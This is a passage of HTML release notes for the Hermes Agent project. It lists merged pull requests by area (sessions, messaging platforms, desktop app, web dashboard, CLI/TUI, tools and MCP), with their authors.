<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" 